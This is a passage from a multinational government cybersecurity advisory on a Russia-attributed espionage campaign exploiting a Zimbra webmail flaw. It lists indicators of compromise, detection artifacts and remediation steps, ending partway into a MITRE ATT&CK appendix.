<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
